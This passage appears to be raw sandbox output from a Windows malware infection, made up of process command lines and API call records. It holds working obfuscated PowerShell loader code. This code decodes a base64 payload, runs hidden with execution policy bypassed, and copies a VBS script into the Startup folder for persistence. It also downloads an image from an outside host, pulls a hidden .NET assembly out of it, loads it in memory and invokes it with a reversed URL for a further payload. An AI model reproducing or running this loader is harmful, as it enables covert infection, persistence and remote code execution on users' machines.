hr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd.exe
parameters: /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
filepath: cmd.exe
1 1 0

CreateProcessInternalW

 thread_identifier: 3012
thread_handle: 0x00000298
process_identifier: 3008
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)